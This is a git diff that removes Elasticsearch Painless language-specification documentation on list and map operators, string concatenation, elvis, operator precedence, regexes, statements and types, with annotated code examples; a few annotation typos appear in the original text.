-list_initialization: '[' expression (',' expression)* ']'
-                   | '[' ']';
-----
-
-*Examples*
-
-* List initialization of an empty `List` type value.
-+
-[source,Painless]
-----
-List empty = []; <1>
-----
-+
-<1> declare `List empty`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `empty`
-+
-* List initialization with static values.
-+
-[source,Painless]
-----
-List list = [1, 2, 3]; <1>
-----
-+
-<1> declare `List list`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    call `add` on `ArrayList reference` with arguments(`int 1`);
-    call `add` on `ArrayList reference` with arguments(`int 2`);
-    call `add` on `ArrayList reference` with arguments(`int 3`);
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `list`
-+
-* List initialization with non-static values.
-+
-[source,Painless]
-----
-int i = 1;                  <1>
-long l = 2L;                <2>
-float f = 3.0F;             <3>
-double d = 4.0;             <4>
-String s = "5";             <5>
-List list = [i, l, f*d, s]; <6>
-----
-+
-<1> declare `int i`;
-    store `int 1` to `i`
-<2> declare `long l`;
-    store `long 2` to `l`
-<3> declare `float f`;
-    store `float 3.0` to `f`
-<4> declare `double d`;
-    store `double 4.0` to `d`
-<5> declare `String s`;
-    store `String "5"` to `s`
-<6> declare `List list`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    load from `i` -> `int 1`;
-    call `add` on `ArrayList reference` with arguments(`int 1`);
-    load from `l` -> `long 2`;
-    call `add` on `ArrayList reference` with arguments(`long 2`);
-    load from `f` -> `float 3.0`;
-    load from `d` -> `double 4.0`;
-    promote `float 3.0` and `double 4.0`: result `double`;
-    implicit cast `float 3.0` to `double 3.0` -> `double 3.0`;
-    multiply `double 3.0` and `double 4.0` -> `double 12.0`;
-    call `add` on `ArrayList reference` with arguments(`double 12.0`);
-    load from `s` -> `String "5"`;
-    call `add` on `ArrayList reference` with arguments(`String "5"`);
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `list`
-
-[[list-access-operator]]
-==== List Access
-
-Use the `list access operator '[]'` as a shortcut for a `set` method call or
-`get` method call made on a `List` type value.
-
-*Errors*
-
-* If a value other than a `List` type value is accessed.
-* If a non-integer type value is used as an index for a `set` method call or
-  `get` method call.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-list_access: '[' expression ']'
-----
-
-*Examples*
-
-* List access with the `List` type.
-+
-[source,Painless]
-----
-List list = new ArrayList(); <1>
-list.add(1);                 <2>
-list.add(2);                 <3>
-list.add(3);                 <4>
-list[0] = 2;                 <5>
-list[1] = 5;                 <6>
-int x = list[0] + list[1];   <7>
-int y = 1;                   <8>
-int z = list[y];             <9>
-----
-+
-<1> declare `List list`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `list`
-<2> load from `list` -> `List reference`;
-    call `add` on `List reference` with arguments(`int 1`)
-<3> load from `list` -> `List reference`;
-    call `add` on `List reference` with arguments(`int 2`)
-<4> load from `list` -> `List reference`;
-    call `add` on `List reference` with arguments(`int 3`)
-<5> load from `list` -> `List reference`;
-    call `set` on `List reference` with arguments(`int 0`, `int 2`)
-<6> load from `list` -> `List reference`;
-    call `set` on `List reference` with arguments(`int 1`, `int 5`)
-<7> declare `int x`;
-    load from `list` -> `List reference`;
-    call `get` on `List reference` with arguments(`int 0`) -> `def`;
-    implicit cast `def` to `int 2` -> `int 2`;
-    load from `list` -> `List reference`;
-    call `get` on `List reference` with arguments(`int 1`) -> `def`;
-    implicit cast `def` to `int 5` -> `int 5`;
-    add `int 2` and `int 5` -> `int 7`;
-    store `int 7` to `x`
-<8> declare `int y`;
-    store `int 1` int `y`
-<9> declare `int z`;
-    load from `list` -> `List reference`;
-    load from `y` -> `int 1`;
-    call `get` on `List reference` with arguments(`int 1`) -> `def`;
-    implicit cast `def` to `int 5` -> `int 5`;
-    store `int 5` to `z`
-+
-* List access with the `def` type.
-+
-[source,Painless]
-----
-def d = new ArrayList(); <1>
-d.add(1);                <2>
-d.add(2);                <3>
-d.add(3);                <4>
-d[0] = 2;                <5>
-d[1] = 5;                <6>
-def x = d[0] + d[1];     <7>
-def y = 1;               <8>
-def z = d[y];            <9>
-----
-+
-<1> declare `List d`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `def` -> `def`;
-    store `def` to `d`
-<2> load from `d` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`;
-    call `add` on `ArrayList reference` with arguments(`int 1`)
-<3> load from `d` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`;
-    call `add` on `ArrayList reference` with arguments(`int 2`)
-<4> load from `d` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`;
-    call `add` on `ArrayList reference` with arguments(`int 3`)
-<5> load from `d` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`;
-    call `set` on `ArrayList reference` with arguments(`int 0`, `int 2`)
-<6> load from `d` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`;
-    call `set` on `ArrayList reference` with arguments(`int 1`, `int 5`)
-<7> declare `def x`;
-    load from `d` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`;
-    call `get` on `ArrayList reference` with arguments(`int 0`) -> `def`;
-    implicit cast `def` to `int 2` -> `int 2`;
-    load from `d` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`;
-    call `get` on `ArrayList reference` with arguments(`int 1`) -> `def`;
-    implicit cast `def` to `int 2` -> `int 2`;
-    add `int 2` and `int 5` -> `int 7`;
-    store `int 7` to `x`
-<8> declare `int y`;
-    store `int 1` int `y`
-<9> declare `int z`;
-    load from `d` -> `ArrayList reference`;
-    load from `y` -> `def`;
-    implicit cast `def` to `int 1` -> `int 1`;
-    call `get` on `ArrayList reference` with arguments(`int 1`) -> `def`;
-    store `def` to `z`
-
-[[map-initialization-operator]]
-==== Map Initialization
-
-Use the `map initialization operator '[:]'` to allocate a `Map` type instance to
-the heap with a set of pre-defined values. Each pair of values used to
-initialize the `Map` type instance are cast to `def` type values upon insertion
-into the `Map` type instance using the `put` method.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-map_initialization: '[' key_pair (',' key_pair)* ']'
-                  | '[' ':' ']';
-key_pair: expression ':' expression
-----
-
-*Examples*
-
-* Map initialization of an empty `Map` type value.
-+
-[source,Painless]
-----
-Map empty = [:]; <1>
-----
-+
-<1> declare `Map empty`;
-    allocate `HashMap` instance -> `HashMap reference`;
-    implicit cast `HashMap reference` to `Map reference` -> `Map reference`;
-    store `Map reference` to `empty`
-+
-* Map initialization with static values.
-+
-[source,Painless]
-----
-Map map = [1:2, 3:4, 5:6]; <1>
-----
-+
-<1> declare `Map map`;
-    allocate `HashMap` instance -> `HashMap reference`;
-    call `put` on `HashMap reference` with arguments(`int 1`, `int 2`);
-    call `put` on `HashMap reference` with arguments(`int 3`, `int 4`);
-    call `put` on `HashMap reference` with arguments(`int 5`, `int 6`);
-    implicit cast `HashMap reference` to `Map reference` -> `Map reference`;
-    store `Map reference` to `map`
-+
-* Map initialization with non-static values.
-+
-[source,Painless]
-----
-byte b = 0;                  <1>
-int i = 1;                   <2>
-long l = 2L;                 <3>
-float f = 3.0F;              <4>
-double d = 4.0;              <5>
-String s = "5";              <6>
-Map map = [b:i, l:f*d, d:s]; <7>
-----
-+
-<1> declare `byte b`;
-    store `byte 0` to `b`
-<2> declare `int i`;
-    store `int 1` to `i`
-<3> declare `long l`;
-    store `long 2` to `l`
-<4> declare `float f`;
-    store `float 3.0` to `f`
-<5> declare `double d`;
-    store `double 4.0` to `d`
-<6> declare `String s`;
-    store `String "5"` to `s`
-<7> declare `Map map`;
-    allocate `HashMap` instance -> `HashMap reference`;
-    load from `b` -> `byte 0`;
-    load from `i` -> `int 1`;
-    call `put` on `HashMap reference` with arguments(`byte 0`, `int 1`);
-    load from `l` -> `long 2`;
-    load from `f` -> `float 3.0`;
-    load from `d` -> `double 4.0`;
-    promote `float 3.0` and `double 4.0`: result `double`;
-    implicit cast `float 3.0` to `double 3.0` -> `double 3.0`;
-    multiply `double 3.0` and `double 4.0` -> `double 12.0`;
-    call `put` on `HashMap reference` with arguments(`long 2`, `double 12.0`);
-    load from `d` -> `double 4.0`;
-    load from `s` -> `String "5"`;
-    call `put` on `HashMap reference` with
-            arguments(`double 4.0`, `String "5"`);
-    implicit cast `HashMap reference` to `Map reference` -> `Map reference`;
-    store `Map reference` to `map`
-
-[[map-access-operator]]
-==== Map Access
-
-Use the `map access operator '[]'` as a shortcut for a `put` method call or
-`get` method call made on a `Map` type value.
-
-*Errors*
-
-* If a value other than a `Map` type value is accessed.
-
-*Grammar*
-[source,ANTLR4]
-----
-map_access: '[' expression ']'
-----
-
-*Examples*
-
-* Map access with the `Map` type.
-+
-[source,Painless]
-----
-Map map = new HashMap();               <1>
-map['value2'] = 2;                     <2>
-map['value5'] = 5;                     <3>
-int x = map['value2'] + map['value5']; <4>
-String y = 'value5';                   <5>
-int z = x[z];                          <6>
-----
-+
-<1> declare `Map map`;
-    allocate `HashMap` instance -> `HashMap reference`;
-    implicit cast `HashMap reference` to `Map reference` -> `Map reference`;
-    store `Map reference` to `map`
-<2> load from `map` -> `Map reference`;
-    call `put` on `Map reference` with arguments(`String 'value2'`, `int 2`)
-<3> load from `map` -> `Map reference`;
-    call `put` on `Map reference` with arguments(`String 'value5'`, `int 5`)
-<4> declare `int x`;
-    load from `map` -> `Map reference`;
-    call `get` on `Map reference` with arguments(`String 'value2'`) -> `def`;
-    implicit cast `def` to `int 2` -> `int 2`;
-    load from `map` -> `Map reference`;
-    call `get` on `Map reference` with arguments(`String 'value5'`) -> `def`;
-    implicit cast `def` to `int 5` -> `int 5`;
-    add `int 2` and `int 5` -> `int 7`;
-    store `int 7` to `x`
-<5> declare `String y`;
-    store `String 'value5'` to `y`
-<6> declare `int z`;
-    load from `map` -> `Map reference`;
-    load from `y` -> `String 'value5'`;
-    call `get` on `Map reference` with arguments(`String 'value5'`) -> `def`;
-    implicit cast `def` to `int 5` -> `int 5`;
-    store `int 5` to `z`
-+
-* Map access with the `def` type.
-+
-[source,Painless]
-----
-def d = new HashMap();             <1>
-d['value2'] = 2;                   <2>
-d['value5'] = 5;                   <3>
-int x = d['value2'] + d['value5']; <4>
-String y = 'value5';               <5>
-def z = d[y];                      <6>
-----
-+
-<1> declare `def d`;
-    allocate `HashMap` instance -> `HashMap reference`;
-    implicit cast `HashMap reference` to `def` -> `def`;
-    store `def` to `d`
-<2> load from `d` -> `def`;
-    implicit cast `def` to `HashMap reference` -> `HashMap reference`;
-    call `put` on `HashMap reference` with arguments(`String 'value2'`, `int 2`)
-<3> load from `d` -> `def`;
-    implicit cast `def` to `HashMap reference` -> `HashMap reference`;
-    call `put` on `HashMap reference` with arguments(`String 'value5'`, `int 5`)
-<4> declare `int x`;
-    load from `d` -> `def`;
-    implicit cast `def` to `HashMap reference` -> `HashMap reference`;
-    call `get` on `HashMap reference` with arguments(`String 'value2'`)
-            -> `def`;
-    implicit cast `def` to `int 2` -> `int 2`;
-    load from `d` -> `def`;
-    call `get` on `HashMap reference` with arguments(`String 'value5'`)
-            -> `def`;
-    implicit cast `def` to `int 5` -> `int 5`;
-    add `int 2` and `int 5` -> `int 7`;
-    store `int 7` to `x`
-<5> declare `String y`;
-    store `String 'value5'` to `y`
-<6> declare `def z`;
-    load from `d` -> `def`;
-    load from `y` -> `String 'value5'`;
-    call `get` on `HashMap reference` with arguments(`String 'value5'`)
-            -> `def`;
-    store `def` to `z`
-
-[[new-instance-operator]]
-==== New Instance
-
-Use the `new instance operator 'new ()'` to allocate a
-<<reference-types, reference type>> instance to the heap and call a specified
-constructor. Implicit <<boxing-unboxing, boxing/unboxing>> is evaluated as
-necessary per argument during the constructor call.
-
-An overloaded constructor is one that shares the same name with two or more
-constructors. A constructor is overloaded based on arity where the same
-reference type name is re-used for multiple constructors as long as the number
-of parameters differs.
-
-*Errors*
-
-* If the reference type name doesn't exist for instance allocation.
-* If the number of arguments passed in is different from the number of specified
-  parameters.
-* If the arguments cannot be implicitly cast or implicitly boxed/unboxed to the
-  correct type values for the parameters.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-new_instance: 'new' TYPE '(' (expression (',' expression)*)? ')';
-----
-
-*Examples*
-
-* Allocation of new instances with different types.
-
-[source,Painless]
-----
-Map m = new HashMap();   <1>
-def d = new ArrayList(); <2>
-def e = new HashMap(m);  <3>
-----
-<1> declare `Map m`;
-    allocate `HashMap` instance -> `HashMap reference`;
-    implicit cast `HashMap reference` to `Map reference` -> `Map reference`;
-    store `Map reference` to `m`;
-<2> declare `def d`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `def` -> `def`;
-    store `def` to `d`;
-<3> declare `def e`;
-    load from `m` -> `Map reference`;
-    allocate `HashMap` instance with arguments (`Map reference`)
-            -> `HashMap reference`;
-    implicit cast `HashMap reference` to `def` -> `def`;
-    store `def` to `e`;
-
-[[string-concatenation-operator]]
-==== String Concatenation
-
-Use the `string concatenation operator '+'` to concatenate two values together
-where at least one of the values is a <<string-type, `String` type>>.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-concatenate: expression '+' expression;
-----
-
-*Examples*
-
-* String concatenation with different primitive types.
-+
-[source,Painless]
-----
-String x = "con";     <1>
-String y = x + "cat"; <2>
-String z = 4 + 5 + x; <3>
-----
-+
-<1> declare `String x`;
-    store `String "con"` to `x`;
-<2> declare `String y`;
-    load from `x` -> `String "con"`;
-    concat `String "con"` and `String "cat"` -> `String "concat"`;
-    store `String "concat"` to `y`
-<3> declare `String z`;
-    add `int 4` and `int 5` -> `int 9`;
-    concat `int 9` and `String "9concat"`;
-    store `String "9concat"` to `z`;
-    (note the addition is done prior to the concatenation due to precedence and
-            associativity of the specific operations)
-+
-* String concatenation with the `def` type.
-+
-[source,Painless]
-----
-def d = 2;             <1>
-d = "con" + d + "cat"; <2>
-----
-+
-<1> declare `def`;
-    implicit cast `int 2` to `def` -> `def`;
-    store `def` in `d`;
-<2> concat `String "con"` and `int 9` -> `String "con9"`;
-    concat `String "con9"` and `String "con"` -> `String "con9cat"`
-    implicit cast `String "con9cat"` to `def` -> `def`;
-    store `def` to `d`;
-    (note the switch in type of `d` from `int` to `String`)
-
-[[elvis-operator]]
-==== Elvis
-
-An elvis consists of two expressions. The first expression is evaluated
-with to check for a `null` value. If the first expression evaluates to
-`null` then the second expression is evaluated and its value used. If the first
-expression evaluates to `non-null` then the resultant value of the first
-expression is used. Use the `elvis operator '?:'` as a shortcut for the
-conditional operator.
-
-*Errors*
-
-* If the first expression or second expression cannot produce a `null` value.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-elvis: expression '?:' expression;
-----
-
-*Examples*
-
-* Elvis with different reference types.
-+
-[source,Painless]
-----
-List x = new ArrayList();      <1>
-List y = x ?: new ArrayList(); <2>
-y = null;                      <3>
-List z = y ?: new ArrayList(); <4>
-----
-+
-<1> declare `List x`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `x`;
-<2> declare `List y`;
-    load `x` -> `List reference`;
-    `List reference` equals `null` -> `false`;
-    evaluate 1st expression: `List reference` -> `List reference`;
-    store `List reference` to `y`
-<3> store `null` to `y`;
-<4> declare `List z`;
-    load `y` -> `List reference`;
-    `List reference` equals `null` -> `true`;
-    evaluate 2nd expression:
-            allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `z`;
diff --git a/docs/painless/painless-lang-spec/painless-operators.asciidoc b/docs/painless/painless-lang-spec/painless-operators.asciidoc
deleted file mode 100644
index b105f4ef6fa..00000000000
--- a/docs/painless/painless-lang-spec/painless-operators.asciidoc
+++ /dev/null
@@ -1,64 +0,0 @@
-[[painless-operators]]
-=== Operators
-
-An operator is the most basic action that can be taken to evaluate values in a
-script. An expression is one-to-many consecutive operations.  Precedence is the
-order in which an operator will be evaluated relative to another operator.
-Associativity is the direction within an expression in which a specific operator
-is evaluated.  The following table lists all available operators:
-
-[cols="<6,<3,^3,^2,^4"]
-|====
-| *Operator*                                                | *Category*                                  | *Symbol(s)* | *Precedence* | *Associativity*
-| <<precedence-operator, Precedence>>                       | <<painless-operators-general, General>>     | ()          | 0            | left -> right
-| <<method-call-operator, Method Call>>                     | <<painless-operators-reference, Reference>> | . ()        | 1            | left -> right
-| <<field-access-operator, Field Access>>                   | <<painless-operators-reference, Reference>> | .           | 1            | left -> right
-| <<null-safe-operator, Null Safe>>                         | <<painless-operators-reference, Reference>> | ?.          | 1            | left -> right
-| <<function-call-operator, Function Call>>                 | <<painless-operators-general, General>>     | ()          | 1            | left -> right
-| <<array-initialization-operator, Array Initialization>>   | <<painless-operators-array, Array>>         | [] {}       | 1            | left -> right
-| <<array-access-operator, Array Access>>                   | <<painless-operators-array, Array>>         | []          | 1            | left -> right
-| <<array-length-operator, Array Length>>                   | <<painless-operators-array, Array>>         | .           | 1            | left -> right
-| <<list-initialization-operator, List Initialization>>     | <<painless-operators-reference, Reference>> | []          | 1            | left -> right
-| <<list-access-operator, List Access>>                     | <<painless-operators-reference, Reference>> | []          | 1            | left -> right
-| <<map-initialization-operator, Map Initialization>>       | <<painless-operators-reference, Reference>> | [:]         | 1            | left -> right
-| <<map-access-operator, Map Access>>                       | <<painless-operators-reference, Reference>> | []          | 1            | left -> right
-| <<post-increment-operator, Post Increment>>               | <<painless-operators-numeric, Numeric>>     | ++          | 1            | left -> right
-| <<post-decrement-operator, Post Decrement>>               | <<painless-operators-numeric, Numeric>>     | --          | 1            | left -> right
-| <<pre-increment-operator, Pre Increment>>                 | <<painless-operators-numeric, Numeric>>     | ++          | 2            | right -> left
-| <<pre-decrement-operator, Pre Decrement>>                 | <<painless-operators-numeric, Numeric>>     | --          | 2            | right -> left
-| <<unary-positive-operator, Unary Positive>>               | <<painless-operators-numeric, Numeric>>     | +           | 2            | right -> left
-| <<unary-negative-operator, Unary Negative>>               | <<painless-operators-numeric, Numeric>>     | -           | 2            | right -> left
-| <<boolean-not-operator, Boolean Not>>                     | <<painless-operators-boolean, Boolean>>     | !           | 2            | right -> left
-| <<bitwise-not-operator, Bitwise Not>>                     | <<painless-operators-numeric, Numeric>>     | ~           | 2            | right -> left
-| <<cast-operator, Cast>>                                   | <<painless-operators-general, General>>     | ()          | 3            | right -> left
-| <<new-instance-operator, New Instance>>                   | <<painless-operators-reference, Reference>> | new ()      | 3            | right -> left
-| <<new-array-operator, New Array>>                         | <<painless-operators-array, Array>>         | new []      | 3            | right -> left
-| <<multiplication-operator, Multiplication>>               | <<painless-operators-numeric, Numeric>>     | *           | 4            | left -> right
-| <<division-operator, Division>>                           | <<painless-operators-numeric, Numeric>>     | /           | 4            | left -> right
-| <<remainder-operator, Remainder>>                         | <<painless-operators-numeric, Numeric>>     | %           | 4            | left -> right
-| <<string-concatenation-operator, String Concatenation>>   | <<painless-operators-reference, Reference>> | +           | 5            | left -> right
-| <<addition-operator, Addition>>                           | <<painless-operators-numeric, Numeric>>     | +           | 5            | left -> right
-| <<subtraction-operator, Subtraction>>                     | <<painless-operators-numeric, Numeric>>     | -           | 5            | left -> right
-| <<left-shift-operator, Left Shift>>                       | <<painless-operators-numeric, Numeric>>     | <<          | 6            | left -> right
-| <<right-shift-operator, Right Shift>>                     | <<painless-operators-numeric, Numeric>>     | >>          | 6            | left -> right
-| <<unsigned-right-shift-operator, Unsigned Right Shift>>   | <<painless-operators-numeric, Numeric>>     | >>>         | 6            | left -> right
-| <<greater-than-operator, Greater Than>>                   | <<painless-operators-boolean, Boolean>>     | >           | 7            | left -> right
-| <<greater-than-or-equal-operator, Greater Than Or Equal>> | <<painless-operators-boolean, Boolean>>     | >=          | 7            | left -> right
-| <<less-than-operator, Less Than>>                         | <<painless-operators-boolean, Boolean>>     | <           | 7            | left -> right
-| <<less-than-or-equal-operator, Less Than Or Equal>>       | <<painless-operators-boolean, Boolean>>     | +++<=+++    | 7            | left -> right
-| <<instanceof-operator, Instanceof>>                       | <<painless-operators-boolean, Boolean>>     | instanceof  | 8            | left -> right
-| <<equality-equals-operator, Equality Equals>>             | <<painless-operators-boolean, Boolean>>     | ==          | 9            | left -> right
-| <<equality-not-equals-operator, Equality Not Equals>>     | <<painless-operators-boolean, Boolean>>     | !=          | 9            | left -> right
-| <<identity-equals-operator, Identity Equals>>             | <<painless-operators-boolean, Boolean>>     | ===         | 9            | left -> right
-| <<identity-not-equals-operator, Identity Not Equals>>     | <<painless-operators-boolean, Boolean>>     | !==         | 9            | left -> right
-| <<bitwise-and-operator, Bitwise And>>                     | <<painless-operators-numeric, Numeric>>     | &           | 10           | left -> right
-| <<boolean-xor-operator, Boolean Xor>>                     | <<painless-operators-boolean, Boolean>>     | ^           | 11           | left -> right
-| <<bitwise-xor-operator, Bitwise Xor>>                     | <<painless-operators-numeric, Numeric>>     | ^           | 11           | left -> right
-| <<bitwise-or-operator, Bitwise Or>>                       | <<painless-operators-numeric, Numeric>>     | \|          | 12           | left -> right
-| <<boolean-and-operator, Boolean And>>                     | <<painless-operators-boolean, Boolean>>     | &&          | 13           | left -> right
-| <<boolean-or-operator, Boolean Or>>                       | <<painless-operators-boolean, Boolean>>     | \|\|        | 14           | left -> right
-| <<conditional-operator, Conditional>>                     | <<painless-operators-general, General>>     | ? :         | 15           | right -> left
-| <<elvis-operator, Elvis>>                                 | <<painless-operators-general, General>>     | ?:          | 16           | right -> left
-| <<assignment-operator, Assignment>>                       | <<painless-operators-general, General>>     | =           | 17           | right -> left
-| <<compound-assignment-operator, Compound Assignment>>     | <<painless-operators-general, General>>     | $=          | 17           | right -> left
-|====
diff --git a/docs/painless/painless-lang-spec/painless-regexes.asciidoc b/docs/painless/painless-lang-spec/painless-regexes.asciidoc
deleted file mode 100644
index 962c4751aab..00000000000
--- a/docs/painless/painless-lang-spec/painless-regexes.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-[[painless-regexes]]
-=== Regexes
-
-Regular expression constants are directly supported. To ensure fast performance,
-this is the only mechanism for creating patterns. Regular expressions
-are always constants and compiled efficiently a single time.
-
-[source,painless]
----------------------------------------------------------
-Pattern p = /[aeiou]/
----------------------------------------------------------
-
-WARNING: A poorly written regular expression can significantly slow performance.
-If possible, avoid using regular expressions, particularly in frequently run
-scripts.
-
-[[pattern-flags]]
-==== Pattern flags
-
-You can define flags on patterns in Painless by adding characters after the
-trailing `/` like `/foo/i` or `/foo \w #comment/iUx`. Painless exposes all of
-the flags from Java's
-https://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html[
-Pattern class] using these characters:
-
-[cols="<,<,<",options="header",]
-|=======================================================================
-| Character | Java Constant | Example
-|`c` | CANON_EQ                  | `'å' ==~ /å/c` (open in hex editor to see)
-|`i` | CASE_INSENSITIVE          | `'A' ==~ /a/i`
-|`l` | LITERAL                   | `'[a]' ==~ /[a]/l`
-|`m` | MULTILINE                 | `'a\nb\nc' =~ /^b$/m`
-|`s` | DOTALL (aka single line)  | `'a\nb\nc' =~ /.b./s`
-|`U` | UNICODE_CHARACTER_CLASS   | `'Ɛ' ==~ /\\w/U`
-|`u` | UNICODE_CASE              | `'Ɛ' ==~ /ɛ/iu`
-|`x` | COMMENTS (aka extended)   | `'a' ==~ /a #comment/x`
-|=======================================================================
\ No newline at end of file
diff --git a/docs/painless/painless-lang-spec/painless-scripts.asciidoc b/docs/painless/painless-lang-spec/painless-scripts.asciidoc
deleted file mode 100644
index 6c01e6cfa98..00000000000
--- a/docs/painless/painless-lang-spec/painless-scripts.asciidoc
+++ /dev/null
@@ -1,6 +0,0 @@
-[[painless-scripts]]
-=== Scripts
-
-Scripts are composed of one-to-many <<painless-statements, statements>> and are
-run in a sandbox that determines what local variables are immediately available
-along with what APIs are allowed.
diff --git a/docs/painless/painless-lang-spec/painless-statements.asciidoc b/docs/painless/painless-lang-spec/painless-statements.asciidoc
deleted file mode 100644
index b627507fa94..00000000000
--- a/docs/painless/painless-lang-spec/painless-statements.asciidoc
+++ /dev/null
@@ -1,57 +0,0 @@
-[[painless-statements]]
-=== Statements
-
-Painless supports all of Java's https://docs.oracle.com/javase/tutorial/java/nutsandbolts/flow.html[
-control flow statements] except the `switch` statement.
-
-==== Conditional statements
-
-===== If / Else
-
-[source,painless]
----------------------------------------------------------
-if (doc[item].size() == 0) {
-  // do something if "item" is missing
-} else if (doc[item].value == 'something') {
-  // do something if "item" value is: something
-} else {
-  // do something else
-}
----------------------------------------------------------
-
-==== Loop statements
-
-===== For
-
-Painless also supports the `for in` syntax:
-
-[source,painless]
----------------------------------------------------------
-for (def item : list) {
-  // do something
-}
----------------------------------------------------------
-
-[source,painless]
----------------------------------------------------------
-for (item in list) {
-  // do something
-}
----------------------------------------------------------
-
-===== While
-[source,painless]
----------------------------------------------------------
-while (ctx._source.item < condition) {
-  // do something
-}
----------------------------------------------------------
-
-===== Do-While
-[source,painless]
----------------------------------------------------------
-do {
-  // do something
-}
-while (ctx._source.item < condition)
----------------------------------------------------------
diff --git a/docs/painless/painless-lang-spec/painless-types.asciidoc b/docs/painless/painless-lang-spec/painless-types.asciidoc
deleted file mode 100644
index e58fec49d7c..00000000000
--- a/docs/painless/painless-lang-spec/painless-types.asciidoc
+++ /dev/null
@@ -1,473 +0,0 @@
-[[painless-types]]
-=== Types
-
-A type is a classification of data used to define the properties of a value.
-These properties specify what data a value represents and the rules for how a
-value is evaluated during an <<painless-operators, operation>>. Each type
-belongs to one of the following categories: <<primitive-types, primitive>>,
-<<reference-types, reference>>, or <<dynamic-types, dynamic>>.
-
-[[primitive-types]]
-==== Primitive Types
-
-A primitive type represents basic data built natively into the JVM and is
-allocated to non-heap memory. Declare a primitive type
-<<painless-variables, variable>> or access a primitive type member field (from
-a reference type instance), and assign it a primitive type value for evaluation
-during later operations. The default value for a newly-declared primitive type
-variable is listed as part of the definitions below. A primitive type value is
-copied during an assignment or as an argument for a method/function call.
-
-A primitive type has a corresponding reference type (also known as a boxed
-type). Use the <<field-access-operator, field access operator>> or
-<<method-call-operator, method call operator>> on a primitive type value to
-force evaluation as its corresponding reference type value.
-
-The following primitive types are available:
-
-[horizontal]
-`byte`::
-8-bit, signed, two's complement integer
-* range: [`-128`, `127`]
-* default value: `0`
-* reference type: `Byte`
-
-`short`::
-16-bit, signed, two's complement integer
-* range: [`-32768`, `32767`]
-* default value: `0`
-* reference type: `Short`
-
-`char`::
-16-bit, unsigned, Unicode character
-* range: [`0`, `65535`]
-* default value: `0` or `\u0000`
-* reference type: `Character`
-
-`int`::
-32-bit, signed, two's complement integer
-* range: [`-2^31`, `2^31-1`]
-* default value: `0`
-* reference type: `Integer`
-
-`long`::
-64-bit, signed, two's complement integer
-* range: [`-2^63`, `2^63-1`]
-* default value: `0`
-* reference type: `Long`
-
-`float`::
-32-bit, signed, single-precision, IEEE 754 floating point number
-* default value: `0.0`
-* reference type: `Float`
-
-`double`::
-64-bit, signed, double-precision, IEEE 754 floating point number
-* default value: `0.0`
-* reference type: `Double`
-
-`boolean`::
-logical quantity with two possible values of `true` and `false`
-* default value: `false`
-* reference type: `Boolean`
-
-*Examples*
-
-* Primitive types used in declaration, declaration and assignment.
-+
-[source,Painless]
-----
-int i = 1;        <1>
-double d;         <2>
-boolean b = true; <3>
-----
-+
-<1> declare `int i`;
-    store `int 1` to `i`
-<2> declare `double d`;
-    store default `double 0.0` to `d`
-<3> declare `boolean b`;
-    store `boolean true` to `b`
-+
-* Method call on a primitive type using the corresponding reference type.
-+
-[source,Painless]
-----
-int i = 1;    <1>
-i.toString(); <2>
-----
-+
-<1> declare `int i`;
-    store `int 1` to `i`
-<2> load from `i` -> `int 1`;
-    box `int 1` -> `Integer 1 reference`;
-    call `toString` on `Integer 1 reference` -> `String '1'`
-
-[[reference-types]]
-==== Reference Types
-
-A reference type is a named construct (object), potentially representing
-multiple pieces of data (member fields) and logic to manipulate that data
-(member methods), defined as part of the application programming interface
-(API) for scripts.
-
-A reference type instance is a single set of data for one reference type
-object allocated to the heap. Use the
-<<new-instance-operator, new instance operator>> to allocate a reference type
-instance. Use a reference type instance to load from, store to, and manipulate
-complex data.
-
-A reference type value refers to a reference type instance, and multiple
-reference type values may refer to the same reference type instance. A change to
-a reference type instance will affect all reference type values referring to
-that specific instance.
-
-Declare a reference type <<painless-variables, variable>> or access a reference
-type member field (from a reference type instance), and assign it a reference
-type value for evaluation during later operations. The default value for a
-newly-declared reference type variable is `null`. A reference type value is
-shallow-copied during an assignment or as an argument for a method/function
-call. Assign `null` to a reference type variable to indicate the reference type
-value refers to no reference type instance. The JVM will garbage collect a
-reference type instance when it is no longer referred to by any reference type
-values. Pass `null` as an argument to a method/function call to indicate the
-argument refers to no reference type instance.
-
-A reference type object defines zero-to-many of each of the following:
-
-static member field::
-
-A static member field is a named and typed piece of data. Each reference type
-*object* contains one set of data representative of its static member fields.
-Use the <<field-access-operator, field access operator>> in correspondence with
-the reference type object name to access a static member field for loading and
-storing to a specific reference type *object*. No reference type instance
-allocation is necessary to use a static member field.
-
-non-static member field::
-
-A non-static member field is a named and typed piece of data. Each reference
-type *instance* contains one set of data representative of its reference type
-object's non-static member fields. Use the
-<<field-access-operator, field access operator>> for loading and storing to a
-non-static member field of a specific reference type *instance*. An allocated
-reference type instance is required to use a non-static member field.
-
-static member method::
-
-A static member method is a <<painless-functions, function>> called on a
-reference type *object*. Use the <<method-call-operator, method call operator>>
